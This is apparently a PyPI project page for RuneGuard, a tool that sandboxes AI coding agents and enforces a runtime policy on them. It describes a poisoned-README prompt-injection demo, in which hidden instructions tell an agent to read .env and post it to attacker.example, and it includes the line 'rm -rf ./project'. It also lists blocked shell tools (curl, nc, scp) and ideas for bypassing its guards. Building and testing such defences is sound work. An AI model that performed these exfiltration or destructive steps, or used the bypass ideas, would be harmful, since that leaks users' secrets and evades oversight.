Skip to main content

Runtime enforcement layer for AI agents

Project description

RuneGuard

Runtime enforcement for AI coding agents.

RuneGuard sits between AI agents and the tools they use: files, shell commands, APIs, and network calls. Instead of only trying to make the model say safe things, RuneGuard controls what the agent is actually allowed to do at runtime.

Problem

Coding agents are becoming powerful enough to read files, execute commands, call APIs, and move data across system boundaries.

That creates a new security problem: a prompt-injected or misaligned agent may try to access secrets, run destructive commands, or exfiltrate data.

Traditional prompt-level guardrails are not enough because the model can still attempt unsafe actions.

RuneGuard enforces policy at the action layer.

Who this is for

RuneGuard is for developers and teams running coding agents in:

  • local devboxes
  • CI runners
  • ephemeral sandboxes
  • internal automation environments

Quickstart

pip install runeguard
runeguard check
runeguard demo

From a checkout:

pip install -e .

Run the named poisoned README example:

runeguard examples poisoned-readme

Initialize a project policy and local RuneGuard state:

runeguard init
runeguard doctor

runeguard init creates runeguard.yaml, .runeguard/, and .runeguard/audit.jsonl. The generated policy uses the Docker backend, denies network by default, keeps the root filesystem and workspace read-only, and grants writable mounts only for ./src, ./tests, and ./tmp.

Run a command in the Docker sandbox backend:

runeguard run -- python -c "print('hello from guarded command')"

This mounts the current workspace at /workspace read-only, runs as a non-root user, disables networking by default, drops Linux capabilities, uses a read-only container root filesystem, adds small tmpfs mounts for /tmp and /run, and applies simple memory/CPU/process limits.

Writable paths are opt-in through policy:

writable_paths:
  - ".cache"
  - "tmp/output"

For compatibility with tools that still need a writable checkout:

runeguard run --unsafe-writable-workspace -- python build.py

For local development only, you can still run through the host policy wrapper:

runeguard run --backend host -- python -c "print('host policy check only')"

Evaluate an action without executing it:

runeguard eval read_file --path .env
runeguard eval http_post --url https://attacker.example/upload
runeguard eval shell --command "rm -rf ./project"

Write a JSONL audit log:

runeguard demo --audit-log .runeguard/audit.jsonl
runeguard report .runeguard/audit.jsonl --html

Start the policy daemon for process-level interception:

runeguard daemon start --audit-log .runeguard/daemon.jsonl

On Linux, build and use the LD_PRELOAD shim:

runeguard shim build
runeguard run --backend host --preload -- python -c "open('.env').read()"

On Linux with a built libbpf/CO-RE loader, trace runtime activity:

runeguard ebpf trace

On Linux with Landlock support, run with kernel-native filesystem enforcement:

runeguard run --backend landlock -- python -c "open('README.md').read()"

Demo

The demo simulates a poisoned README attack.

An agent is asked to summarize a repo. The README contains hidden malicious instructions telling the agent to read .env and send it to an external domain.

RuneGuard blocks the unsafe actions.

Expected output:

[ALLOW] read_file({'path': 'examples/demo_repo/README.md'}) - allowed by policy
[BLOCK] read_file({'path': 'examples/demo_repo/.env'}) - protected path access
[BLOCK] http_post({'url': 'https://attacker.example/upload', ...}) - domain not allowlisted
[BLOCK] shell({'command': 'rm -rf ./project'}) - blocked shell command pattern

Current Status

Working now:

  • YAML policy loading
  • runeguard run -- <command> Docker sandbox runner
  • optional runeguard run --backend host -- <command> policy wrapper
  • runeguard eval <tool> dry policy evaluation
  • runeguard init stable schema v1 policy generation
  • runeguard doctor environment and policy checks
  • runeguard report <audit.jsonl> --html audit reports
  • Unix socket policy daemon
  • Linux LD_PRELOAD shim source and build target
  • Linux Landlock filesystem sandbox backend
  • libbpf/CO-RE eBPF source and loader interface for execve, openat, connect, and BPF LSM exec enforcement
  • optional OPA/Rego policy backend
  • process correlation metadata in JSONL audit logs
  • agent integration helpers
  • file access policy
  • shell command policy
  • network/domain policy
  • readable allow/block logs
  • JSONL audit logs
  • poisoned prompt demo

Planned:

  • Docker/Podman hardening
  • signed release artifacts
  • deeper eBPF policy map enforcement beyond the current loader interface
  • CI/devbox sandbox mode

v1 Test Surface

This repo is ready for early breakage and feedback around the policy layer.

Useful things to try:

  • path bypasses around .env, secrets/, ~/.ssh/, relative paths, and nested directories
  • shell bypasses around blocked tokens such as rm -rf, curl, nc, and scp
  • URL/domain bypasses around subdomains, missing schemes, and attacker-controlled hosts
  • LD_PRELOAD bypasses on Linux, especially static binaries, direct syscalls, and alternate libc paths
  • daemon failure behavior with RUNEGUARD_FAIL_CLOSED=0 versus the default fail-closed mode
  • places where audit logs leak data that should be redacted
  • places where the README implies stronger security than the code actually provides

Vision

RuneGuard is a runtime permission layer for AI agents.

The long-term goal is to create a real boundary between agent intent and system truth: what the model says it will do versus what the system actually observes and allows.

Security Boundary

The policy/proxy modes are not a hard security boundary. They are useful when agent tool calls are routed through RuneGuard, but they cannot stop actions that avoid those routes.

The LD_PRELOAD shim is experimental and bypassable by static binaries, direct syscalls, and processes that do not load the shim.

The Docker sandbox mode is the first step toward stronger enforcement: it gives RuneGuard a real process boundary with non-root execution, an isolated container filesystem view, network denial by default, and resource limits.

The eBPF layer uses libbpf/CO-RE source and a standalone loader interface. Its enforcement mode can deny configured executable names through BPF LSM, but it depends on Linux BPF LSM support and the privileges required by the host. It is not the primary filesystem enforcement layer; use Docker or Landlock for that.

Try To Break It

Ideas:

  • make the agent read .env
  • make it run curl, nc, or scp
  • make it hide exfiltration inside a normal tool call
  • make it access ~/.ssh
  • make the audit log expose something sensitive

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

runeguard-1.0.0.tar.gz (50.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

runeguard-1.0.0-py3-none-any.whl (45.9 kB view details)

Uploaded Python 3

File details

Details for the file runeguard-1.0.0.tar.gz.

File metadata

  • Download URL: runeguard-1.0.0.tar.gz
  • Upload date:
  • Size: 50.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for runeguard-1.0.0.tar.gz
Algorithm Hash digest
SHA256 400787fee32b28bee46d01015c45e2d709edce58d0c7a995797b21da315f3bc3
MD5 8c128d026ece6c8a10a7408c55139cff
BLAKE2b-256 c90f9ec753760068a1660f5ff8651c921014efc72c272d41c2c592a81d711db5

See more details on using hashes here.

Provenance

The following attestation bundles were made for runeguard-1.0.0.tar.gz:

Publisher: publish.yml on nzhumasseiit/runeguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file runeguard-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: runeguard-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 45.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for runeguard-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 7223a2936160f32a4fbc41094867f80a91d909ff5b2c0bb1500c9e88022dd01a
MD5 0711108180d8bd53fad45130d3986dd7
BLAKE2b-256 048f31ee026af23c46f24774dbedf054a30fa33b1b21c2f81eedd8be4b8a462b

See more details on using hashes here.

Provenance

The following attestation bundles were made for runeguard-1.0.0-py3-none-any.whl:

Publisher: publish.yml on nzhumasseiit/runeguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page